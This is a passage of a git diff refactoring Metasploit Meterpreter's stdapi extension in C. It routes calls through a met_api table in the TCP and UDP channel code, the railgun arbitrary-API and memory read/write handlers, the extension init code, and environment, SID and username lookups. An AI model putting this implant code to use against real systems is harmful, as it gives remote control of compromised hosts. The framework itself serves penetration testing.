Packet * packet) do { - response = packet_create_response(packet); + response = met_api->packet.create_response(packet); if (!response) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY); @@ -300,8 +301,8 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) ctx->remote = remote; - localPort = (USHORT)(packet_get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); - localHost = packet_get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); + localPort = (USHORT)(met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LOCAL_PORT) & 0xFFFF); + localHost = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LOCAL_HOST); ctx->fd = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0); if (ctx->fd == INVALID_SOCKET) @@ -368,22 +369,22 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) chops.native.context = ctx; chops.native.close = tcp_channel_server_close; - ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); + ctx->channel = met_api->channel.create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops); if (!ctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE); } - scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); + met_api->scheduler.insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel)); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->channel)); net_tlv_pack_local_addrinfo(ctx, response); - dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel)); + dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, met_api->channel.get_id(ctx->channel)); } while (0); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); do { @@ -408,7 +409,7 @@ DWORD request_net_tcp_server_channel_open(Remote * remote, Packet * packet) if (ctx->channel) { dprintf("[TCP-SERVER] Destroying channel"); - channel_destroy(ctx->channel, packet); + met_api->channel.destroy(ctx->channel, packet); } free(ctx); diff --git a/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c b/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c index cac0512d..34857743 100644 --- a/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c +++ b/c/meterpreter/source/extensions/stdapi/server/net/socket/udp.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include "udp.h" /* @@ -22,7 +23,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP if( !ctx ) BREAK_WITH_ERROR( "[UDP] udp_channel_write. ctx == NULL", ERROR_INVALID_HANDLE ); - rport = (USHORT)( packet_get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF ); + rport = (USHORT)( met_api->packet.get_tlv_value_uint( request, TLV_TYPE_PEER_PORT ) & 0xFFFF ); if( !rport ) { rport = ctx->peerport; @@ -30,7 +31,7 @@ DWORD udp_channel_write( Channel * channel, Packet * request, LPVOID context, LP BREAK_WITH_ERROR( "[UDP] udp_channel_write. A peer port must be specified", ERROR_INVALID_PARAMETER ); } - host = packet_get_tlv_value_string( request, TLV_TYPE_PEER_HOST ); + host = met_api->packet.get_tlv_value_string( request, TLV_TYPE_PEER_HOST ); if( !host ) { rhost = ctx->peerhost.s_addr; @@ -121,7 +122,7 @@ VOID free_udp_context( UdpSocketContext * ctx ) if( ctx->sock.channel ) { - channel_close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL ); + met_api->channel.close( ctx->sock.channel, ctx->sock.remote, NULL, 0, NULL ); ctx->sock.channel = NULL; } @@ -129,7 +130,7 @@ VOID free_udp_context( UdpSocketContext * ctx ) { dprintf( "[UDP] free_udp_context. remove_waitable ctx=0x%08X notify=0x%08X", ctx, ctx->sock.notify ); // The scheduler calls CloseHandle on our WSACreateEvent() for us - scheduler_signal_waitable( ctx->sock.notify, Stop ); + met_api->scheduler.signal_waitable( ctx->sock.notify, SchedulerStop ); ctx->sock.notify = NULL; } @@ -177,7 +178,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) { dprintf( "[UDP] udp_channel_notify. channel=0x%08X is being gracefully closed...", ctx->sock.channel ); - channel_set_native_io_context( ctx->sock.channel, NULL ); + met_api->channel.set_native_io_context( ctx->sock.channel, NULL ); Sleep( 250 ); @@ -210,7 +211,7 @@ DWORD udp_channel_notify( Remote * remote, UdpClientContext * ctx ) dprintf( "[UDP] udp_channel_notify. Data on channel=0x%08X, read %d bytes from %s:%d", ctx->sock.channel, dwBytesRead, cpPeerHost, ntohs( from.sin_port ) ); - channel_write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL ); + met_api->channel.write( ctx->sock.channel, ctx->sock.remote, addend, 2, bBuffer, dwBytesRead, NULL ); } } while( 0 ); @@ -240,7 +241,7 @@ DWORD udp_channel_close( Channel * channel, Packet * request, LPVOID context ) free_udp_context( ctx ); // Set the native channel operations context to NULL - channel_set_native_io_context( channel, NULL ); + met_api->channel.set_native_io_context( channel, NULL ); } while( 0 ); @@ -263,7 +264,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) do { - response = packet_create_response( packet ); + response = met_api->packet.create_response( packet ); if( !response ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. response == NULL", ERROR_NOT_ENOUGH_MEMORY ); @@ -275,21 +276,21 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) ctx->sock.remote = remote; - ctx->localport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); + ctx->localport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_LOCAL_PORT ) & 0xFFFF ); if( !ctx->localport ) ctx->localport = 0; - ctx->peerport = (USHORT)( packet_get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF ); + ctx->peerport = (USHORT)( met_api->packet.get_tlv_value_uint( packet, TLV_TYPE_PEER_PORT ) & 0xFFFF ); if( !ctx->peerport ) ctx->peerport = 0; - lhost = packet_get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); + lhost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_LOCAL_HOST ); if( lhost ) ctx->localhost.s_addr = inet_addr( lhost ); else ctx->localhost.s_addr = INADDR_ANY; - phost = packet_get_tlv_value_string( packet, TLV_TYPE_PEER_HOST ); + phost = met_api->packet.get_tlv_value_string( packet, TLV_TYPE_PEER_HOST ); if( phost ) { dprintf( "[UDP] request_net_udp_channel_open. phost=%s", phost ); @@ -319,20 +320,20 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) chops.native.write = udp_channel_write; chops.native.close = udp_channel_close; - ctx->sock.channel = channel_create_datagram( 0, 0, &chops ); + ctx->sock.channel = met_api->channel.create_datagram( 0, 0, &chops ); if( !ctx->sock.channel ) BREAK_WITH_ERROR( "[UDP] request_net_udp_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE ); - scheduler_insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL ); + met_api->scheduler.insert_waitable( ctx->sock.notify, ctx, NULL, (WaitableNotifyRoutine)udp_channel_notify, NULL ); - packet_add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->sock.channel) ); + met_api->packet.add_tlv_uint( response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(ctx->sock.channel) ); net_tlv_pack_local_addrinfo( &ctx->sock, response ); - dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", channel_get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport ); + dprintf( "[UDP] request_net_udp_channel_open. UDP socket on channel %d (The local specified was %s:%d ) (The peer specified was %s:%d)", met_api->channel.get_id( ctx->sock.channel ), inet_ntoa( ctx->localhost ), ctx->localport, inet_ntoa( ctx->peerhost ), ctx->peerport ); } while( 0 ); - packet_transmit_response( dwResult, remote, response ); + met_api->packet.transmit_response( dwResult, remote, response ); do { @@ -346,7 +347,7 @@ DWORD request_net_udp_channel_open( Remote * remote, Packet * packet ) closesocket( ctx->sock.fd ); if( ctx->sock.channel ) - channel_destroy( ctx->sock.channel, packet ); + met_api->channel.destroy( ctx->sock.channel, packet ); free( ctx ); diff --git a/c/meterpreter/source/extensions/stdapi/server/precomp.h b/c/meterpreter/source/extensions/stdapi/server/precomp.h index d78cc581..95f76b88 100644 --- a/c/meterpreter/source/extensions/stdapi/server/precomp.h +++ b/c/meterpreter/source/extensions/stdapi/server/precomp.h @@ -19,7 +19,6 @@ #include "railgun/railgun.h" // PKS, win32 specific at the moment. -#include "../../../DelayLoadMetSrv/DelayLoadMetSrv.h" #include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" // declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c diff --git a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c index 029f50db..51f9a8c9 100755 --- a/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c +++ b/c/meterpreter/source/extensions/stdapi/server/railgun/railgun.c @@ -29,6 +29,7 @@ */ #include "precomp.h" +#include "common_metapi.h" #include "railgun.h" // Gives me a copy of a data item of type TLV_META_TYPE_RAW @@ -37,8 +38,8 @@ BYTE * getRawDataCopy(Packet *packet,TlvType type, DWORD * size){ Tlv tlv; BYTE * bufferCopy; - if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS){ - dprintf("getRawDataCopy: packet_get_tlv failed"); + if (met_api->packet.get_tlv(packet, type, &tlv) != ERROR_SUCCESS){ + dprintf("getRawDataCopy: met_api->packet.get_tlv failed"); *size = 0; return NULL; } @@ -56,8 +57,8 @@ BYTE * getRawDataCopyFromGroup(Packet *packet, Tlv *group, TlvType type, DWORD * Tlv tlv; BYTE * bufferCopy; - if( packet_get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) { - dprintf("getRawDataCopyFromGroup: packet_get_tlv failed"); + if( met_api->packet.get_tlv_group_entry(packet, group, type, &tlv) != ERROR_SUCCESS ) { + dprintf("getRawDataCopyFromGroup: met_api->packet.get_tlv failed"); *size = 0; return NULL; } @@ -361,7 +362,7 @@ DWORD railgun_call( RAILGUN_INPUT * pInput, RAILGUN_OUTPUT * pOutput ) // Multi-request railgun API DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) { - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; DWORD index = 0; Tlv reqTlv = {0}; @@ -374,7 +375,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) dprintf( "[RAILGUN] request_railgun_api_multi: processing %d elements (%d | %d)", TLV_TYPE_RAILGUN_MULTI_GROUP, packet->header.type, packet->header.length); - while( packet_enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS ) + while( met_api->packet.enum_tlv( packet, index++, TLV_TYPE_RAILGUN_MULTI_GROUP, &reqTlv ) == ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: index=%d", index ); @@ -384,7 +385,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) do { // get ths inputs for this call... - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_SIZE_OUT, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_SIZE_OUT" ); break; @@ -406,7 +407,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) break; } - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_DLLNAME, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_DLLNAME" ); break; @@ -419,7 +420,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) break; } - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_FUNCNAME, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_FUNCNAME" ); break; @@ -433,7 +434,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) } rInput.cpCallConv = "stdcall"; - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_CALLCONV, &tmpTlv ) != ERROR_SUCCESS ) { dprintf( "[RAILGUN] request_railgun_api_multi: Could not get TLV_TYPE_RAILGUN_CALLCONV, defaulting to stdcall" ); } @@ -442,9 +443,9 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) rInput.cpCallConv = (PCHAR)tmpTlv.buffer; } - if( packet_get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS ) + if( met_api->packet.get_tlv_group_entry( packet, &reqTlv, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS ) { - dprintf( "[RAILGUN] request_railgun_api_multi: packet_get_tlv_group_entry failed" ); + dprintf( "[RAILGUN] request_railgun_api_multi: met_api->packet.get_tlv_group_entry failed" ); break; } @@ -477,7 +478,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) tlvs[5].buffer = (PUCHAR)rOutput.pErrMsg; } - packet_add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 ); + met_api->packet.add_tlv_group( response, TLV_TYPE_RAILGUN_MULTI_GROUP, tlvs, dwResult == ERROR_SUCCESS ? sizeof(tlvs) / sizeof(tlvs[0]) : 1 ); } while(0); @@ -496,7 +497,7 @@ DWORD request_railgun_api_multi( Remote * remote, Packet * packet ) LocalFree( (HLOCAL)rOutput.pErrMsg ); } - packet_transmit_response( ERROR_SUCCESS, remote, response ); + met_api->packet.transmit_response( ERROR_SUCCESS, remote, response ); dprintf( "[RAILGUN] request_railgun_api_multi: Finished." ); @@ -516,7 +517,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) do { - pResponse = packet_create_response( pPacket ); + pResponse = met_api->packet.create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: !pResponse", ERROR_INVALID_HANDLE ); @@ -524,7 +525,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) memset( &rOutput, 0, sizeof(RAILGUN_OUTPUT) ); // Prepare the OUT-Buffer (undefined content) - rInput.dwBufferSizeOUT = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT ); + rInput.dwBufferSizeOUT = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_SIZE_OUT ); // get the IN-Buffer rInput.pBufferIN = getRawDataCopy( pPacket,TLV_TYPE_RAILGUN_BUFFERBLOB_IN, (DWORD *)&rInput.dwBufferSizeIN); @@ -537,22 +538,22 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT", ERROR_INVALID_PARAMETER ); // Get cpDllName - rInput.cpDllName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME ); + rInput.cpDllName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_DLLNAME ); if( !rInput.cpDllName ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME", ERROR_INVALID_PARAMETER ); // Get cpFuncName - rInput.cpFuncName = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME ); + rInput.cpFuncName = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_FUNCNAME ); if( !rInput.cpFuncName ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME", ERROR_INVALID_PARAMETER ); // Get cpCallConv - rInput.cpCallConv = packet_get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV ); + rInput.cpCallConv = met_api->packet.get_tlv_value_string( pPacket, TLV_TYPE_RAILGUN_CALLCONV ); if( !rInput.cpCallConv ) rInput.cpCallConv = "stdcall"; // get the pStack-description (1 ULONG_PTR description, 1 ULONG_PTR data) - if( packet_get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS) + if( met_api->packet.get_tlv( pPacket, TLV_TYPE_RAILGUN_STACKBLOB, &rInput.pStackDescriptorTlv ) != ERROR_SUCCESS) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_api: Could not get TLV_TYPE_RAILGUN_STACKBLOB", ERROR_INVALID_PARAMETER ); dwResult = railgun_call( &rInput, &rOutput ); @@ -563,10 +564,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) { if( dwResult == ERROR_SUCCESS ) { - packet_add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError ); - packet_add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue ); - packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT ); - packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT ); + met_api->packet.add_tlv_uint( pResponse, TLV_TYPE_RAILGUN_BACK_ERR, rOutput.dwLastError ); + met_api->packet.add_tlv_qword( pResponse, TLV_TYPE_RAILGUN_BACK_RET, rOutput.qwReturnValue ); + met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, rOutput.pBufferOUT, (DWORD)rOutput.dwBufferSizeOUT ); + met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, rOutput.pBufferINOUT, (DWORD)rOutput.dwBufferSizeINOUT ); // There are cases where FormatMessage is failing for various functions on various platforms. // eg. inet_addr() on Windows XP SP3 x86 and NetGetJoinInformation() on Windows 8 x64 @@ -580,10 +581,10 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket ) pErrorMsg = "FormatMessage failed to retrieve the error."; } - packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg ); + met_api->packet.add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg ); } - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } if( rInput.pBufferIN ) @@ -620,15 +621,15 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket ) do { - pResponse = packet_create_response( pPacket ); + pResponse = met_api->packet.create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !pResponse", ERROR_INVALID_HANDLE ); - lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); + lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); if( !lpAddress ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !lpAddress", ERROR_INVALID_PARAMETER ); - dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); + dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); if( !dwLength ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memread: !dwLength", ERROR_INVALID_PARAMETER ); @@ -650,9 +651,9 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket ) if( pResponse ) { if( pData ) - packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength ); + met_api->packet.add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength ); - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } if( pData ) @@ -678,19 +679,19 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket ) do { - pResponse = packet_create_response( pPacket ); + pResponse = met_api->packet.create_response( pPacket ); if( !pResponse ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pResponse", ERROR_INVALID_HANDLE ); - lpAddress = (LPVOID)packet_get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); + lpAddress = (LPVOID)met_api->packet.get_tlv_value_qword( pPacket, TLV_TYPE_RAILGUN_MEM_ADDRESS ); if( !lpAddress ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !lpAddress", ERROR_INVALID_PARAMETER ); - pData = packet_get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA ); + pData = met_api->packet.get_tlv_value_raw( pPacket, TLV_TYPE_RAILGUN_MEM_DATA ); if( !pData ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !pData", ERROR_INVALID_PARAMETER ); - dwLength = packet_get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); + dwLength = met_api->packet.get_tlv_value_uint( pPacket, TLV_TYPE_RAILGUN_MEM_LENGTH ); if( !dwLength ) BREAK_WITH_ERROR( "[RAILGUN] request_railgun_memwrite: !dwLength", ERROR_INVALID_PARAMETER ); @@ -707,7 +708,7 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket ) if( pResponse ) { - dwResult = packet_transmit_response(dwResult, pRemote, pResponse); + dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse); } dprintf("[RAILGUN] request_railgun_memwrite: Finished."); diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index ce751388..1b366791 100644 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -3,17 +3,15 @@ * regards */ #include "precomp.h" +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" // NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - // General extern DWORD request_general_channel_open(Remote *remote, Packet *packet); @@ -172,14 +170,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all( customCommands ); return ERROR_SUCCESS; } @@ -191,11 +190,12 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all( customCommands ); return ERROR_SUCCESS; } + /*! * @brief Get the name of the extension. * @param buffer Pointer to the buffer to write the name to. diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c index d0d58def..7bb03c57 100755 --- a/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/config/config.c @@ -1,4 +1,5 @@ #include "precomp.h" +#include "common_metapi.h" #include #include @@ -28,7 +29,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal) entries[1].header.length = (DWORD)strlen(envVal) + 1; entries[1].buffer = (PUCHAR)envVal; - packet_add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2); + met_api->packet.add_tlv_group(response, TLV_TYPE_ENV_GROUP, entries, 2); } else { @@ -46,7 +47,7 @@ VOID add_env_pair(Packet *response, char * envVar, char *envVal) */ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; DWORD dwTlvIndex = 0; Tlv envTlv; @@ -55,7 +56,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) do { - while (ERROR_SUCCESS == packet_enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv)) + while (ERROR_SUCCESS == met_api->packet.enum_tlv(packet, dwTlvIndex++, TLV_TYPE_ENV_VARIABLE, &envTlv)) { pEnvVarStart = (char*)envTlv.buffer; @@ -87,13 +88,13 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) dprintf("[ENV] Final env var: %s", pEnvVarStart); // grab the value of the variable and stick it in the response. - PWCHAR name = utf8_to_wchar(pEnvVarStart); + PWCHAR name = met_api->string.utf8_to_wchar(pEnvVarStart); //Ensure we always have > 0 bytes even if env var doesn't exist DWORD envlen = GetEnvironmentVariableW(name, NULL, 0) + 1; PWCHAR wvalue = (PWCHAR)malloc(envlen * sizeof(WCHAR)); GetEnvironmentVariableW(name, wvalue, envlen); free(name); - char* value = wchar_to_utf8(wvalue); + char* value = met_api->string.wchar_to_utf8(wvalue); free(wvalue); add_env_pair(response, pEnvVarStart, value); free(value); @@ -103,7 +104,7 @@ DWORD request_sys_config_getenv(Remote *remote, Packet *packet) } while (0); dprintf("[ENV] Transmitting response."); - packet_transmit_response(dwResult, remote, response); + met_api->packet.transmit_response(dwResult, remote, response); dprintf("[ENV] done."); return dwResult; @@ -153,7 +154,7 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) DWORD dwResult; BYTE tokenUserInfo[4096]; LPSTR pSid = NULL; - Packet *pResponse = packet_create_response(pRequest); + Packet *pResponse = met_api->packet.create_response(pRequest); do { @@ -172,11 +173,11 @@ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) if (pSid != NULL) { - packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_SID, pSid); LocalFree(pSid); } - packet_transmit_response(dwResult, pRemote, pResponse); + met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; } @@ -215,15 +216,15 @@ DWORD populate_uid(Packet* pResponse) BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data"); } - char *domainName = wchar_to_utf8(cbDomainOnly); - char *userName = wchar_to_utf8(cbUserOnly); + char *domainName = met_api->string.wchar_to_utf8(cbDomainOnly); + char *userName = met_api->string.wchar_to_utf8(cbUserOnly); // Make full name in DOMAIN\USERNAME format _snprintf(cbUsername, 512, "%s\\%s", domainName, userName); free(domainName); free(userName); cbUsername[511] = '\0'; - packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername); + met_api->packet.add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername); dwResult = EXIT_SUCCESS; } while (0); @@ -239,13 +240,13 @@ DWORD populate_uid(Packet* pResponse) */ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket) { - Packet *pResponse = packet_create_response(pPacket); + Packet *pResponse = met_api->packet.create_response(pPacket); DWORD dwResult = ERROR_SUCCESS; dwResult = populate_uid(pResponse); // Transmit the response - packet_transmit_response(dwResult, pRemote, pResponse); + met_api->packet.transmit_response(dwResult, pRemote, pResponse); return dwResult; } @@ -258,14 +259,14 @@ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket) */ DWORD request_sys_config_drop_token(Remote* pRemote, 